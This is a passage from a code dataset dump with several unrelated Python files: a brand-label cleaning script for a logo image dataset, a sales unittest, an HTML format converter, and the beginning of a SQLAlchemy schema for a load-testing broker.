parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n args = parse_args()\n imglist = ''\n brandlist = list()\n print('Copying dataset')\n if os.path.exists(args.outpath):\n shutil.rmtree(args.outpath)\n xmlpath = os.path.join(args.outpath, 'voc_format')\n shutil.copytree(args.inpath, xmlpath)\n\n if args.commonformat:\n commonoutpath = os.path.join(args.outpath, 'commonformat')\n annotationspath = os.path.join(commonoutpath, 'Annotations')\n imagespath = os.path.join(commonoutpath, 'Images')\n imagesetspath = os.path.join(commonoutpath, 'ImageSets')\n\n os.makedirs(annotationspath)\n os.makedirs(imagespath)\n os.makedirs(imagesetspath)\n\n i = 0\n unavailableCounter = 0\n imageCounter = 0\n totalRoiCounter = 0\n print('Processing dataset files')\n for r, subdirs, files in os.walk(xmlpath):\n for filename in files:\n i = i + 1\n if not filename.endswith('.xml'):\n continue\n if i % 1000 == 0:\n print('Processed: ' + str(i) + ' images.')\n imagename = filename.split('.')[0]\n imgpath = os.path.join(r, imagename + ext)\n filewithpath = os.path.join(r, filename)\n if not os.path.isfile(imgpath):\n os.remove(filewithpath)\n unavailableCounter += 1\n print('Deleted xml for unavailable image file {:s}'.format(imgpath))\n continue\n imageCounter += 1\n try:\n parent = filewithpath.split('/')[-2]\n except IndexError:\n parent = filewithpath.split('\\\\')[-2]\n parent = parent.replace(' ', '')\n parser = xml.etree.ElementTree.XMLParser(encoding=\"utf-8\")\n tree = xml.etree.ElementTree.parse(filewithpath, parser = parser)\n root = tree.getroot()\n\n imglist += parent + imagename + postfix + '\\n'\n roiCounter = 0\n im = cv2.imread(os.path.join(r, imagename + ext))\n assert im is not None\n imagebrands = []\n intersection = False\n for obj in root.findall('object'):\n brand = obj.find('name').text.encode('utf-8').lower()\n if brand == \"1.fcköln\":\n brand = \"fckoeln\"\n if brand == \"adidas3\":\n brand = \"adidas-text\"\n if \"adidas4\" in brand:\n brand = brand.replace(\"adidas4\", \"adidas3\")\n if brand == \"aluratek\":\n brand = \"aluratek-symbol\"\n if brand == \"apecase\":\n brand = \"apecase-symbol\"\n if brand == \"apecase-teilsichtbar\":\n brand = \"apecase-symbol-teilsichtbar\"\n if brand == \"armitron1\":\n brand = \"armitron\"\n if brand == \"audi\":\n brand = \"audi-symbol\"\n if brand == \"b\":\n brand = \"bridgestone\"\n if brand == \"basf-symbol\":\n brand = \"basf\"\n if \"bertha1\" in brand:\n brand = brand.replace(\"bertha1\", \"bertha\")\n if \"boing\" in brand:\n brand = brand.replace(\"boing\", \"boeing\")\n if \"budweiser1\" in brand:\n brand = brand.replace(\"budweiser1\", \"budweiser\")\n if \"budweiser2\" in brand:\n brand = brand.replace(\"budweiser2\", \"budweiser\")\n if brand == \"budweiser-b\":\n brand = \"budweiser-b-symbol\"\n if brand == \"budweiser-teilsichtbar\":\n brand = \"budweiser-symbol-teilsichtbar\"\n if \"bundweiser\" in brand:\n brand = brand.replace(\"bundweiser\", \"budweiser\")\n if brand == \"burgerking\":\n brand = \"burgerking-symbol\"\n if brand == \"burgerking-teilsichtbar\":\n brand = \"burgerking-symbol-teilsichtbar\"\n if \"canon1\" in brand:\n brand = brand.replace(\"canon1\", \"canon\")\n if \"canon2\" in brand:\n brand = brand.replace(\"canon2\", \"canon\")\n if \"cartier1\" in brand:\n brand = brand.replace(\"cartier1\", \"cartier\")\n if \"caterpillar1\" in brand:\n brand = brand.replace(\"caterpillar1\", \"caterpillar\")\n if brand == \"chevrolet1\":\n brand = brand.replace(\"chevrolet1\", \"chevrolet\")\n if brand == \"citroen\":\n brand == \"citroen-symbol\"\n if brand == \"colgate1\":\n brand = \"colgate\"\n if \"dadone\" in brand:\n brand = brand.replace(\"dadone\", \"danone\")\n if brand == \"cvs-symbol\" or brand == \"cvs-logo\":\n brand = \"cvspharmacy\"\n if brand == \"danone1\":\n brand = \"danone\"\n if \"fils\" in brand:\n brand = brand.replace(\"fils\", \"fila\")\n if brand == \"google\":\n brand = \"google-symbol\"\n if brand == \"gucci1\":\n brand = \"gucci\"\n if brand == \"gucci logo\":\n brand = \"gucci-symbol\"\n if \"heineke\" in brand:\n brand = brand.replace(\"heineke\", \"heineken\")\n if brand == \"hersheys1\":\n brand = \"hersheys\"\n if brand == \"hungry jacks logo\":\n brand = \"hungry jacks-symbol\"\n if \"hyundri\" in brand:\n brand = brand.replace(\"hyundri\", \"hyundai\")\n if \"kellogg`s-k\" in brand:\n brand = brand.replace(\"kellogg`s-k\", \"kellogg`s-symbol\")\n if \"kia-logo\" in brand:\n brand = brand.replace(\"kia-logo\", \"kia\")\n if brand == \"lego\":\n brand = \"lego-symbol\"\n if brand == \"lego-teilsichtbar\":\n brand = \"lego-symbol-teilsichtbar\"\n if \"louis vuitton2\" in brand:\n brand = brand.replace(\"louis vuitton2\", \"louisvuitton\")\n if brand == \"mastercard1\":\n brand = \"mastercard\"\n if brand == \"mcdonalds\":\n brand = \"mcdonalds-symbol\"\n if brand == \"mcdonalds-teilsichtbar\":\n brand = \"mcdonalds-symbol-teilsichtbar\"\n if brand == \"mercedes\" or brand == \"mercedes-logo\":\n brand = \"mercedesbenz-symbol\"\n if brand == \"mercedes-schrift\" or brand == \"mercedes-schriftzug\":\n brand = \"mercedesbenz-schriftzug\" # !!!!!\n if brand == \"mercedes-teilsichtbar\":\n brand = \"mercedesbenz-symbol-teilsichtbar\"\n if brand == \"nestle1\" or brand == \"nestle2\":\n brand = \"nestle\"\n if brand == \"nike\":\n brand = \"nike-symbol\"\n if \"nikelogo\" in brand:\n brand = brand.replace(\"nikelogo\", \"nike\")\n if brand == \"lego1\":\n brand = \"lego\"\n if brand == \"nivea1\":\n brand = \"nivea\"\n if brand == \"olympia\":\n brand = \"olympicgames\"\n if brand == \"pizzahut-logo\":\n brand = \"pizzahut\"\n if \"ruffels\" in brand:\n brand = brand.replace(\"ruffels\", \"ruffles\")\n if brand == \"the home depot1\" or brand == \"the home depot-logo\":\n brand = \"thehomedepot\"\n if \"vl\" in brand:\n brand = brand.replace(\"vl\", \"louisvuitton\")\n if brand == \"volksbank\":\n brand = \"volksbank-symbol\"\n if brand == \"ströker\":\n brand = \"stroeer\"\n if brand == \"görtz\":\n brand = \"goertz\"\n if \"schriftzug\" in brand:\n brand = brand.replace(\"-schriftzug\", \"-text\") # !!!!\n if \"schrift\" in brand:\n brand = brand.replace(\"-schrift\", \"-text\") # !!!!\n if \"teilsichtbar\" in brand:\n brand = brand.replace(\"-teilsichtbar\", \"\")\n obj.find('truncated').text = str(1)\n if \"logo\" in brand:\n brand = brand.replace('logo', 'symbol')\n if \"`\" in brand:\n brand = brand.replace(\"`\", \"\")\n if \".\" in brand:\n brand = brand.replace(\".\", \"\")\n brand = brand.replace(\" \", \"\")\n\n\n if brand == \"chanel\":\n brand = \"chanel-text\"\n if brand == \"chanel-symbol\":\n brand = \"chanel\"\n\n if brand == \"citroen\":\n brand = \"citroen-text\"\n if brand == \"citroen-symbol\":\n brand = \"citroen\"\n\n if brand == \"mcdonalds\":\n brand = \"mcdonalds-text\"\n if brand == \"mcdonalds-symbol\":\n brand = \"mcdonalds\"\n\n if brand == \"mercedesbenz\":\n brand = \"mercedes-text\"\n if brand == \"mercedesbenz-symbol\":\n brand = \"mercedes\"\n\n if brand == \"nike-symbol\":\n brand = \"nike\"\n\n if brand == \"porsche\":\n brand = \"porsche-text\"\n if brand == \"porsche-symbol\":\n brand = \"porsche\"\n\n if brand == \"unicef-symbol\":\n brand = \"unicef\"\n\n if brand == \"vodafone-symbol\":\n brand = \"vodafone\"\n\n roiname = parent + \"_\" +imagename + '_' + str(roiCounter)\n\n if roiname == \"H&M_img000198_0\" or roiname == \"H&M_img000252_4\":\n brand = \"adidas3\"\n if (\n roiname == \"nivea_img000135_0\" or roiname == \"nivea_img000180_5\" or\n roiname == \"red bull_img000292_2\" or roiname == \"red bull_img000292_9\" or\n roiname == \"red bull_img000323_3\" or roiname == \"red bull_img000563_2\" or\n roiname == \"red bull_img000563_4\"\n ):\n brand = \"adidas-text\"\n if brand == \"adidas\" or brand == \"adidas-symbol\" or roiname == \"adidas_img000419_0\":\n brand = \"adidas1\"\n if roiname == \"adidas_img000023_0\":\n brand = \"adidas3\"\n if brand == \"amazon-text\":\n brand = \"amazon\"\n if roiname == \"boeing_img000039_2\" or roiname == \"boeing_img000043_1\":\n brand = \"amazon\"\n if brand == \"americanexpress1\":\n brand = \"americanexpress\"\n if roiname == \"BMW_img000103_2\":\n brand = \"audi-symbol\"\n if brand == \"basf-symbol\":\n brand = \"basf\"\n if roiname == \"volkswagen_img000419_2\":\n brand = \"beatsaudio\"\n if roiname == \"bionade_img000097_2\":\n brand = \"bionade-symbol\"\n if roiname == \"bosch_img000070_0\" or brand == \"bosch\":\n brand = \"bosch-text\"\n if roiname == \"airhawk_img000030_0\":\n brand = \"airhawk\"\n if brand == \"bud\" or brand == \"budweiser\":\n brand = \"budweiser-text\"\n if (roiname == \"budweiser_img000008_5\" or roiname == \"budweiser_img000008_6\" or roiname == \"budweiser_img000008_7\" or\n roiname == \"budweiser_img000008_8\" or roiname == \"budweiser_img000009_0\" or roiname == \"budweiser_img000177_5\" or\n roiname == \"budweiser_img000177_6\" or roiname == \"budweiser_img000177_7\" or roiname == \"budweiser_img000202_0\" or\n roiname == \"budweiser_img000210_3\" or roiname == \"budweiser_img000210_4\" or roiname == \"budweiser_img000376_4\" or\n roiname == \"budweiser_img000376_5\" or roiname == \"budweiser_img000376_7\"):\n brand = \"budweiser-text\"\n if roiname == \"burger king_img000172_0\" or roiname == \"McDonalds_img000594_1\":\n brand = \"burgerking-text\"\n if roiname == \"burger king_img000131_2\" or roiname == \"burger king_img000420_1\" or roiname == \"burger king_img000166_3\":\n brand = \"burgerking-symbol\"\n if brand == \"burkler\":\n brand = \"buckler\"\n if roiname == \"FedEx_img000230_0\":\n brand = \"fedex\"\n if roiname == \"heineken_img000045_51\":\n brand = \"heineken\"\n if roiname == \"intel_img000073_0\":\n brand = \"intel\"\n if roiname == \"netflix_img000115_0\":\n brand = \"netflix\"\n if roiname == \"nivea_img000128_3\":\n brand = \"nivea\"\n if roiname == \"Pampers_img000016_1\" or roiname == \"Pampers_img000144_2\":\n brand = \"pampers\"\n if roiname == \"philips_img000069_1\" or roiname == \"philips_img000155_8\":\n brand = \"philips\"\n if roiname == \"rolex_img000008_0\":\n brand = \"rolex\"\n if roiname == \"sony_img000014_0\":\n brand = \"sony\"\n if roiname == \"volkswagen_img000042_5\" or roiname == \"volkswagen_img000105_1\":\n brand = \"vw\"\n if roiname == \"chanel_img000000_11\" or roiname == \"chanel_img000000_12\":\n brand = \"chanel\"\n if roiname == \"hyundai_img000146_2\" or roiname == \"hyundai_img000199_0\" or roiname == \"panasonic_img000143_2\" or roiname == \"target_img000091_1\":\n brand = \"chevrolet-symbol\"\n if roiname == \"hyundai_img000526_1\":\n brand = \"citroen\"\n if roiname == \"esso_img000182_0\" or roiname == \"red bull_img000194_1\" or roiname == \"esso_img000101_3\" or roiname == \"esso_img000107_1\":\n brand = \"esso-text\"\n if roiname == \"red bull_img000298_2\":\n brand = \"esso-symbol\"\n if roiname == \"hyundai_img000146_0\" or roiname == \"kia_img000190_4\" or roiname == \"starbucks_img000181_3\":\n brand = \"honda-symbol\"\n if roiname == \"kia_img000190_5\":\n brand = \"honda\"\n if brand == \"coca-cola1\":\n brand = \"coca-cola\"\n if brand == \"coke1\":\n brand = \"coke\"\n if brand == \"copyofamcrest-symbol\":\n root.remove(obj)\n continue\n if brand == \"corona\":\n brand = \"corona-text\"\n if brand == \"costco\":\n brand = \"costco-text\"\n if brand == \"cvs\":\n brand = \"cvspharmacy\"\n if brand == \"esso-symbol\":\n brand = \"esso\"\n if brand == \"firelli\":\n brand = \"pirelli\"\n if brand == \"ford\":\n brand = \"ford-symbol\"\n if brand == \"frankfurt\":\n brand = \"fcfrankfurt\"\n if brand == \"galeria\":\n brand = \"galeriakaufhof\"\n if brand == \"google-symbol\":\n brand = \"google-text\"\n if roiname == \"huawei_img000078_1\":\n brand = \"google-symbol\"\n if brand == \"headshoulders\":\n brand = \"headandhoulders\"\n if brand == \"heinekenn\" or brand == \"heinekenn-text\" or brand == \"heinekenn-würfel\" or brand == \"heinekenn1\":\n brand = \"heineken\"\n if brand == \"honda\":\n brand = \"honda-text\"\n if brand == \"hsbc\":\n brand = \"hsbc-text\"\n if brand == \"huawei\":\n brand = \"huawei-text\"\n if roiname == \"coca-cola_img000671_5\" or roiname == \"coca-cola_img000679_2\" or roiname == \"coca-cola_img000698_1\" or roiname == \"kia_img000236_4\" or roiname == \"shell_img000153_5\":\n brand = \"hyundai-symbol\"\n if brand == \"infiniti\":\n brand = \"infiniti-text\"\n if brand == \"intel-text\":\n brand = \"intel\"\n if brand == \"kaiserslautern\":\n brand = \"fckaiserslautern\"\n if roiname == \"kelloggs_img000090_3\":\n brand = \"kelloggs-symbol\"\n if roiname == \"boeing_img000015_0\":\n brand = \"boeing-text\"\n if roiname == \"audi_img000444_3\" or roiname == \"audi_img000444_4\":\n brand = \"lexus-symbol\"\n if brand == \"lexus\":\n brand = \"lexus-text\"\n if brand == \"madonalds\":\n brand = \"mcdonalds\"\n if brand == \"malboro\":\n brand = \"marlboro\"\n if (roiname == \"McDonalds_img000233_2\" or roiname == \"McDonalds_img000235_2\" or roiname == \"McDonalds_img000202_2\" or\n roiname == \"pepsi_img000338_0\" or roiname == \"pizza hut_img000006_2\" or roiname == \"pizza hut_img000026_0\" or\n roiname == \"pizza hut_img000073_2\" or roiname == \"pizza hut_img000118_2\" or roiname == \"shell_img000330_1\" or\n roiname == \"shell_img000354_1\" or roiname == \"shell_img000361_1\"):\n brand = \"mcdonalds-text\"\n if brand == \"mönchengladbach\":\n brand = \"fcmoenchengladbach\"\n if roiname == \"red bull_img000344_10\":\n brand = \"audi-symbol\"\n if brand == \"nissan\" or roiname == \"BMW_img000207_0\" or roiname == \"nissan_img000093_0\":\n brand = \"nissan-symbol\"\n if roiname == \"kia_img000132_3\" or roiname == \"kia_img000171_3\":\n brand = \"nissan-text\"\n if brand == \"olympia\":\n brand = \"olympicgames\"\n if brand == \"opel\":\n brand = \"opel-symbol\"\n if roiname == \"kia_img000100_11\" or roiname == \"kia_img000139_3\":\n brand = \"opel-text\"\n if brand == \"oral-b\":\n brand = \"oralb\"\n if roiname == \"Pampers_img000214_1\":\n brand = \"sesamestreet\"\n if brand == \"panasonic\":\n brand = \"panasonic-text\"\n if brand == \"pepsi\" or brand == \"pepsi-text1\" or brand == \"pepsi3\":\n brand = \"pepsi-text\"\n if roiname == \"pepsi_img000360_1\":\n brand = \"pepsi-symbol\"\n if brand == \"pizzahut-hut\":\n brand = \"pizzahut-symbol\"\n if roiname == \"santander_img000090_3\" or roiname == \"shell_img000235_2\" or roiname == \"shell_img000451_0\":\n brand = \"ferrari\"\n if roiname == \"esso_img000280_2\" or roiname == \"nissan_img000294_3\" or roiname == \"nissan_img000298_5\" or roiname == \"nissan_img000307_5\" or roiname == \"nissan_img000333_6\":\n brand = \"renault-symbol\"\n if brand == \"rolex-krone\":\n brand = \"rolex-symbol\"\n if brand == \"samsung1\":\n brand = \"samsung\"\n if roiname == \"huawei_img000274_3\":\n brand = \"huawei-text\"\n if roiname == \"kraft_img000113_0\":\n brand = \"scania-symbol\"\n if roiname == \"volkswagen_img000625_4\":\n brand = \"seat\"\n if roiname == \"budweiser_img000011_0\" or roiname == \"budweiser_img000011_1\" or roiname == \"budweiser_img000135_2\":\n brand = \"budweiser-select-symbol\"\n if brand == \"shell\" or roiname == \"shell_img000405_1\" or roiname == \"shell_img000405_2\":\n brand = \"shell-symbol\"\n if brand == \"shell-text1\":\n brand = \"shell-text\"\n if brand == \"siemens\":\n brand = \"siemens-text\"\n if roiname == \"esso_img000108_0\" or roiname == \"esso_img000158_1\":\n brand = \"esso-text\"\n if roiname == \"costco_img000090_1\" or brand == \"starbuckscoffe\" or brand == \"starbuckscoffee\":\n brand = \"starbucks-text\"\n if roiname == \"shell_img000354_4\" or roiname == \"shell_img000361_2\" or brand == \"starbucks-symbol+\" or brand == \"starbucks-symbol+teilsichtbar\" or roiname == \"starbucks_img000064_1\":\n brand = \"starbucks-symbol\"\n if roiname == \"red bull_img000610_6\" or roiname == \"red bull_img000610_7\":\n brand = \"subaru-symbol\"\n if roiname == \"nissan_img000333_8\":\n brand = \"citroen\"\n if brand == \"suzuki\":\n brand = \"suzuki-text\"\n if roiname == \"nissan_img000333_9\":\n brand = \"citroen-text\"\n if brand == \"target1\":\n brand = \"target\"\n if brand == \"t-mobile\":\n brand = \"tmobile\"\n if brand == \"toronto\":\n brand = \"fctoronto\"\n if roiname == \"toyota_img000015_2\" or brand == \"toyota-text1\" or brand == \"toyota1\":\n brand = \"toyota-text\"\n if brand == \"tsv-münchen\":\n brand = \"tsvmuenchen\"\n if brand == \"ups1\":\n brand = \"ups\"\n if brand == \"visa-electron\" or brand == \"visa1\":\n brand = \"visa\"\n if roiname == \"audi_img000216_5\":\n brand = \"sparkasse\"\n if roiname == \"BMW_img000479_1\":\n brand = \"toyota\"\n if roiname == \"kia_img000164_5\":\n brand = \"volvo-symbol\"\n if roiname == \"gillette_img000371_1\" or roiname == \"gillette_img000371_2\" or roiname == \"gillette_img000371_3\":\n brand = \"walmart-symbol\"\n if brand == \"walmart-neu\":\n brand = \"walmart\"\n if brand == \"würth\":\n brand = \"wuerth\"\n if brand == \"bochum\":\n brand = \"fcbochum\"\n if brand == \"dresden\":\n brand = \"fcdresden\"\n if brand == \"msvduisnurg\":\n brand = \"msvduisburg\"\n if roiname == \"pizza hut_img000144_3\":\n brand = \"pizzahut\"\n if roiname == \"audi_img000150_3\" or roiname == \"BMW_img000485_1\":\n brand = \"deutschepost\"\n if roiname == \"Walmart_img000026_0\":\n brand = \"walmart-symbol\"\n if brand == \"schöller\":\n brand = \"schoeller\"\n\n obj.find('name').text = brand\n imagebrands.append(brand)\n if args.wofl32 and brand in fl32_intersection:\n intersection = True\n\n if args.roi:\n bndbox = obj.find('bndbox')\n x1 = int(bndbox[0].text)\n y1 = int(bndbox[1].text)\n x2 = int(bndbox[2].text)\n y2 = int(bndbox[3].text)\n roi = im[y1:y2, x1:x2]\n brandspath = os.path.join(args.outpath, 'brandROIs')\n folder = os.path.join(brandspath, brand)\n if not os.path.exists(folder):\n os.makedirs(folder)\n cv2.imwrite(os.path.join(folder, roiname + '.jpg'), roi)\n roiCounter += 1 \n totalRoiCounter += 1\n\n tree.write(filewithpath, encoding=\"UTF-8\")\n\n if intersection:\n continue\n roiCounter = 0\n for obj in root.findall('object'):\n \n labelBrand = obj.find('name').text.encode('utf-8').lower()\n if labelBrand == 'copy of amcrest-logo':\n continue \n \n brand = imagebrands[roiCounter]\n roiCounter += 1\n \n bndbox = obj.find('bndbox')\n x1 = int(bndbox[0].text)\n y1 = int(bndbox[1].text)\n x2 = int(bndbox[2].text)\n y2 = int(bndbox[3].text)\n \n brandlist.append(brand)\n\n if args.commonformat: \n with open(os.path.join(annotationspath, parent + \"_\" + imagename + postfix + dstext + '.bboxes.txt'), 'a') as annotfile:\n annotfile.write(str(x1) + ' ' + str(y1) + ' ' + str(x2) + ' ' + str(y2) + ' ' + brand + '\\n')\n if args.commonformat:\n copy2(os.path.join(r, imagename + ext), os.path.join(imagespath, parent + '_' + imagename + postfix + dstext))\n\n if args.commonformat:\n with open(os.path.join(imagesetspath, 'litw' + postfix + '.txt'), 'w') as f:\n f.write(imglist)\n\n with open(os.path.join(args.outpath, 'brands.txt'), 'w') as f:\n for brand in set(brandlist):\n f.write(brand + '\\n')\n\n print('Processed rois: {:d}'.format(totalRoiCounter))\n print('Processed images: {:d}'.format(imageCounter))\n print('Processed brands: {:d}'.format(len(set(brandlist))))\n print('Unavailable image files: {:d}'.format(unavailableCounter))\n","sub_path":"data/LogosInTheWild-v2/scripts/create_clean_dataset.py","file_name":"create_clean_dataset.py","file_ext":"py","file_size_in_byte":27978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"567192786","text":"''' test to script '''\n\nimport unittest\nimport sys, os\nsys.path.append(os.path.abspath('../'))\n\n\nfrom backend.process import make_sale\n\n\nclass TestMakeSalesMethod(unittest.TestCase):\n\n def setUp(self):\n \"\"\" \"\"\"\n \n self.credi_card = '43567890-987654367'\n \n def test_product_book(self):\n \"\"\" test of the book product \"\"\"\n \n make_sale('Awesome book', 'book', self.credi_card)\n self.assertIn(\n \"Item isento de impostos conforme disposto na Constituição Art. 150, VI, d\",\n sys.stdout.getvalue().strip())\n\n def test_product_digital(self):\n \"\"\" test of the digital product \"\"\"\n \n make_sale('Awesome music', 'digital', self.credi_card)\n self.assertIn(\n \"Descrição da compra: Awesome music\",\n sys.stdout.getvalue().strip())\n\n def test_product_membership(self):\n \"\"\" test of the membership product \"\"\"\n \n make_sale('Awesome subscription', 'membership', self.credi_card)\n self.assertIn(\n \"Awesome subscription = Fulano bem vindo a assinatura\",\n sys.stdout.getvalue().strip())\n\n def test_product_physical(self):\n \"\"\" test of the physical product \"\"\"\n \n make_sale('Awesome product', 'physical', self.credi_card)\n self.assertIn(\n \"Awesome product = shipping label of Product\",\n sys.stdout.getvalue().strip())\n\n def test_error_product(self):\n \"\"\" test of the product wich type not exist \"\"\"\n \n make_sale('New type product', 'newType', self.credi_card)\n self.assertIn(\n \"Type Not implementad, contact the support\",\n sys.stdout.getvalue().strip())\n\nif __name__ == '__main__':\n unittest.main(module=__name__, buffer=True)\n","sub_path":"backend/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"235436957","text":"from html.parser import HTMLParser\nimport logging\nimport os\nimport tempfile\n\nclass CustomHTMLParser(HTMLParser):\n '''\n Rip the contents of the file into a plainer format and present the user with\n the option to typeset image files if possible.\n '''\n\n def __init__(self, file_handler, interactive, config):\n super(CustomHTMLParser, self).__init__()\n self._handler = file_handler\n self._interactive = interactive\n self._config = config\n\n # Keep a list of tag converters. Every time a new tag is encountered, we\n # push the appropriate converter on the stack. The top converter handles\n # the data, and we pop it when the end tag is encountered.\n self._tag_converters = []\n\n def handle_endtag(self, tag):\n self._tag_converters[-1].on_tag_end(self._handler)\n self._tag_converters.pop(-1)\n\n def handle_data(self, data):\n data = data.replace('\\n', '').replace('\\r', '').replace('\\t', '')\n if all(self._tag_converters) and data:\n self._tag_converters[-1].on_tag_data(self._handler, data)\n\n def handle_image(self, image_attrs):\n content = self.get_image_text(image_attrs)\n self._handler.write(' {} '.format(content))\n \n def get_image_text(self, image_attrs):\n for attr, value in image_attrs:\n if attr == 'src':\n logging.info('Handling image {}'.format(value))\n content = ''\n if self._interactive:\n # Show the image using config command\n imgpath = os.path.join('raw', value)\n img_show_command = self._config['DEFAULT']['image_command']\n img_show_command = img_show_command.format(imgpath)\n os.system(img_show_command)\n\n # Ask the user for the text. Do this by create a file that\n # the user can modify with the specified text editor in the\n # config.\n with tempfile.TemporaryDirectory() as tmpdir:\n # Name of the file will be the image basename\n filename = os.path.basename(imgpath)\n filename = os.path.splitext(filename)[0]\n filename += '.tex'\n filename = os.path.join(tmpdir, filename)\n open(filename, 'a').close() # Just make the file\n\n text_edit_command = self._config['DEFAULT']['text_edit_command']\n text_edit_command = text_edit_command.format(filename)\n os.system(text_edit_command)\n\n with open(filename) as tmpfile:\n content = tmpfile.read().rstrip()\n if content == self._config['DEFAULT']['abort_text']:\n raise Exception('Abort text encountered while handling image')\n # Closes file\n # Removes temporary directory\n\n if not content:\n content = self._config['DEFAULT']['default_image_text']\n \n return content\n \n\nclass TagConverter():\n '''\n Generic class for converting tags from the old format to the new.\n '''\n def __init__(self, include=False):\n self._include = include\n\n def on_tag_start(self, writer):\n pass\n\n def on_tag_data(self, writer, data):\n pass\n\n def on_tag_end(self, writer):\n pass\n\n def __repr__(self):\n return 'TagConverter({})'.format(self._include)\n\n def __bool__(self):\n '''\n Used to flag whether or not to care about the data contained in this tag\n or its nested tags. By default, this returns false and thus can be used\n (and should be used) as a null object.\n '''\n return self._include\n\n\nclass WrappedTagConverter(TagConverter):\n '''\n Used when the old tag data just needs to be put (inline) as a new tag.\n '''\n\n def __init__(self, tag_name, attrs):\n super(WrappedTagConverter, self).__init__(include=True)\n self.tag = tag_name \n attr_str = ', '.join(['{}=\"{}\"'.format(*attr) for attr in attrs])\n\n if attr_str:\n attr_str = ' ' + attr_str\n\n self.start_tag = '<{}{}>'.format(tag_name, attr_str)\n self.end_tag = ''.format(tag_name)\n\n def on_tag_start(self, writer):\n writer.write(self.start_tag)\n\n def on_tag_data(self, writer, data):\n writer.write(data)\n\n def on_tag_end(self, writer):\n writer.write(self.end_tag)\n\n def __repr__(self):\n return 'WrappedTagConverter({})'.format(self.tag)\n\n\nclass InlineTagConverter(WrappedTagConverter):\n '''\n Same as parent, but add spaces around the tag\n '''\n \n def __init__(self, tag_name, attrs):\n super(InlineTagConverter, self).__init__(tag_name, attrs)\n self.start_tag = ' ' + self.start_tag\n self.end_tag = self.end_tag + ' '\n\n\nclass NewlineTagConverter(WrappedTagConverter):\n '''\n Same as a wrapped, but we add a newline after the tags and appropriate\n spacing.\n '''\n\n def __init__(self, tag_name, level, attrs):\n super(NewlineTagConverter, self).__init__(tag_name, attrs)\n self._level = level\n self.start_tag = '\\n{0}{1}\\n{0}'.format(self.tabs(), self.start_tag)\n self.end_tag = '\\n{0}{1}'.format(self.tabs(), self.end_tag)\n\n def tabs(self):\n return '\\t'*self._level\n\n def on_tag_data(self, writer, data):\n writer.write(data)\n\n\nclass TitleConverter(WrappedTagConverter):\n def __init__(self, attrs):\n super(TitleConverter, self).__init__('p', [])\n self.start_tag = self.start_tag + ''\n self.end_tag = '' + self.end_tag + '\\n'\n\n\nclass HyperlinkTagConverter(InlineTagConverter):\n def __init__(self, attrs):\n new_attrs = [('target', '_blank'), ('href', '!!URL!!')]\n super(HyperlinkTagConverter, self).__init__('a', new_attrs)\n\n\nclass DefaultSpanConverter(InlineTagConverter):\n def __init__(self, attrs, config):\n new_color_attrs = self.get_color(attrs, config)\n super(DefaultSpanConverter, self).__init__('span', new_color_attrs)\n\n def get_color(self, attrs, config):\n for attr in attrs:\n if attr[0] == 'style':\n old_color_hex = attr[1][7:]\n if old_color_hex == '': # Somehow this was possible in the old format\n return []\n try:\n old_color_name = config['OLD_COLOR_NAMES'][old_color_hex]\n except KeyError:\n raise KeyError('Hex value {} not specified in config'.format(old_color_hex))\n\n try:\n new_color_name = config['COLOR_MAPPING'][old_color_name]\n except KeyError:\n raise KeyError('Conversion of color {} not handled in config file'.format(old_color_name))\n\n try:\n new_color_hex = config['NEW_COLOR_HEX_VALUES'][new_color_name]\n except KeyError:\n raise KeyError('Hex value for color {} not provided in config file'.format(new_color_name))\n\n return [('style', 'color:#{};'.format(new_color_hex))]\n else:\n return []\n","sub_path":"htmlparse.py","file_name":"htmlparse.py","file_ext":"py","file_size_in_byte":7380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"585722362","text":"\"\"\"Database layer\n\nRough Schema:\n\nProjects are organizations of load strategies and runs of the various\nload strategies.\n\nA Load Strategy is composed of Load Testing collection(s) that run\nagainst a cluster to test. The load test strategy is a set of\ninstructions on what container sets to utilize with which parameters and\nin what order, how long to conduct the load test, etc.\n\nA Load Testing Collection is a single set of test machines in a single\nregion of a single instance type with a specified container to run for\nthe load test.\n\nA Run is a single load-test run of a given Load Strategy.\n\n\nRunning a Strategy:\n\nFor a complete run, the database contains sufficient information to\nconstruct all the instances needed, all the containers on all the\ninstances, apply various sets of instances to run at various times\nduring a load-test, etc.\n\n- Initializing\n1. Load all container sets and request collection objects from the pool\n2. Wait for docker on all container sets and have all container sets pull\n the appropriate docker container\n\n- Running\n1. Start container sets, lowest order first with supplied command/env\n2. Wait for delay between starting container sets\n3. Monitor and stop container sets if they've exceeded their run-time\n\n- Terminating\n1. Ensure all container sets have stopped\n2. Return container sets to the pool\n\n- Completed\n\n\"\"\"\nimport datetime\nfrom uuid import uuid4\n\nfrom sqlalchemy import (\n create_engine,\n Boolean,\n Column,\n DateTime,\n Enum,\n Float,\n Integer,\n String,\n ForeignKey,\n)\nfrom sqlalchemy.ext.declarative import declarative_base, declared_attr\nfrom sqlalchemy.orm import (\n sessionmaker,\n relationship,\n subqueryload,\n)\n\nfrom loadsbroker.exceptions import LoadsException\n\n\ndef suuid4():\n return str(uuid4())\n\n\nclass Base:\n @declared_attr\n def __tablename__(cls):\n return cls.__name__.lower()\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n\n def json(self, fields=None):\n data = {}\n for key, val in self.__dict__.items():\n if key.startswith('_'):\n continue\n if fields is not None and key not in fields:\n continue\n if isinstance(val, datetime.datetime):\n val = val.isoformat()\n data[key] = val\n return data\n\n\nBase = declarative_base(cls=Base)\n\n\nAWS_REGIONS = (\n \"ap-northeast-1\", \"ap-southeast-1\", \"ap-southeast-2\",\n \"eu-west-1\",\n \"sa-east-1\",\n \"us-east-1\", \"us-west-1\", \"us-west-2\"\n)\nINITIALIZING = 0\nRUNNING = 1\nTERMINATING = 2\nCOMPLETED = 3\n\n\ndef status_to_text(status):\n if status == INITIALIZING:\n return \"INITIALIZING\"\n elif status == RUNNING:\n return \"RUNNING\"\n elif status == TERMINATING:\n return \"TERMINATING\"\n elif status == COMPLETED:\n return \"COMPLETED\"\n else:\n return \"UNKNOWN\"\n\n\nclass Project(Base):\n name = Column(String)\n repository = Column(String)\n home_page = Column(String, nullable=True)\n\n strategies = relationship(\"Strategy\", backref=\"project\")\n\n\nclass Strategy(Base):\n name = Column(String)\n enabled = 